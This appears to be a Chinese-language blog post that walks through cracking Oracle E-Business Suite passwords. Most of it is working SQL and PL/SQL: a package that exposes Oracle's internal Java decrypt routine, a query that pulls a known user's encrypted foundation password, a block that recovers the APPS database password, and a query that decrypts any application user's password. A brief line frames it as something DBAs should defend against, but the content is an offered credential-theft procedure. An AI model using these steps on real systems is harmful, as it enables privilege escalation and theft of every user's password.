破解Oracle EBS密碼的方法早已不是什麼祕密,Google上隨便搜索下就會找到很多,本文的只是基於原有的方法略作改動而已。如果你是DBA,就應該思考下如何防範這種破解方法,方法本來就在那,藏着掖着也沒必要。
我之前寫過一篇Oracle EBS密碼安全的文章相關文章:Oracle EBS密碼安全的攻與防 ,也許能給你些思路。
獲取Oracle EBS的密碼,包括兩部分:1.怎樣獲取數據庫apps賬戶的密碼,2.怎樣獲取EBS普通使用賬戶的密碼。
前提
你不可能在一窮二白的情況下搞定所有東西,獲取密碼,你需要事先知道以下幾點:
1.任何一個普通用戶名和密碼的密碼,比如Vision Demo庫中的,MFG / WELCOME, GUEST/ORACLE....
2.在目標環境(你要破解的環境,下文簡稱Target Instance),你可以通過有限的數據庫權限(比如APPS_READ_ONLY賬戶),獲取到第一步中用戶對應的FND_USER.ENCRYPTED_FOUNDATION_PASSWORD;
3.一個你可以編譯Package的測試/開發的EBS環境(隨便的一個EBS環境,不要求一定是上邊Target Instance的克隆,Vision Demo也可以),下文把這個測試/開發環境簡稱爲Dev Instance
1. 破解APPS(Oracle DB)賬戶的密碼
1.1 編譯Package
在Dev Instance編譯下邊的Package,
- CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER AS
- FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
- RETURN VARCHAR2;
- END CrackPwd;
- /
- CREATE OR REPLACE PACKAGE BODY CrackPwd AS
- FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
- RETURN VARCHAR2 AS
- LANGUAGE JAVA
- NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
- END CrackPwd;
- /
這個Package是這個破解的核心,用於解析混淆過的密碼,其實Oracle要有心,就不應該把這個Java類完全放開。
1.2 獲取User的ENCRYPTED_FOUNDATION_PASSWORD
在Target Instance,執行下邊SQL來獲取,已知用戶的混淆後的密碼ENCRYPTED_FOUNDATION_PASSWORD
- SELECT ENCRYPTED_FOUNDATION_PASSWORD FROM APPS.FND_USER WHERE USER_NAME = 'MFG';
1.3 獲取APPS賬戶密碼
在Dev Instance,執行下邊的語句
- SET SERVEROUTPUT ON
- DECLARE
- guestUserPwd VARCHAR2(200);
- guestUserName VARCHAR2(100);
- guestFndPwd VARCHAR2(100);
- guestEncFndPwd VARCHAR2(100);
- delim NUMBER;
- BEGIN
- guestUserPwd :='MFG/WELCOME';--The User Name and Password which you have known
- guestEncFndPwd := 'ZGFA756A85B9DDBB1EAAD34D71DA120EA4C5E3F1E496C264EEFCF916F21B16308C067F7CD039BDE748CA2B4780DDF750DD3B'; --Get it from step 1.2
- guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);
- IF NOT (guestFndPwd IS NULL) THEN
- DBMS_OUTPUT.put_line(guestFndPwd);
- END IF;
- END;
guestEncFndPwd是1.2步裏獲取的ENCRYPTED_FOUNDATION_PASSWORD
2.獲取用戶(Oracle ERP User)的密碼
2.1 編譯Package
通過1.1~1.3, 你現在已經獲取數據庫apps賬戶的密碼,那麼如何知道其他ERP用戶的密碼。首先,使用你剛剛獲得的 apps賬戶密碼,連接Target Instance。然後編譯1.1那個Package。
(如果你已經有了數據庫apps賬戶的密碼了,那麼無需執行1.1~1.3,直接執行2.2來獲取用戶密碼就好了)
2.2 獲取用戶密碼
- SELECT USR.USER_NAME,
- CRACKPWD.GETPWD ((SELECT (SELECT CRACKPWD.GETPWD (FND_WEB_SEC.GET_GUEST_USERNAME_PWD,
- ENCRYPTED_FOUNDATION_PASSWORD)
- FROM DUAL) AS APPS_PASSWORD
- FROM FND_USER
- WHERE USER_NAME =
- (SELECT SUBSTR (FND_WEB_SEC.GET_GUEST_USERNAME_PWD,
- 1,
- INSTR (FND_WEB_SEC.GET_GUEST_USERNAME_PWD, '/') - 1
- )
- FROM DUAL)),
- USR.ENCRYPTED_USER_PASSWORD) PASSWORD
- FROM FND_USER USR
- WHERE USR.USER_NAME = 'OPERATIONS'; --User Name here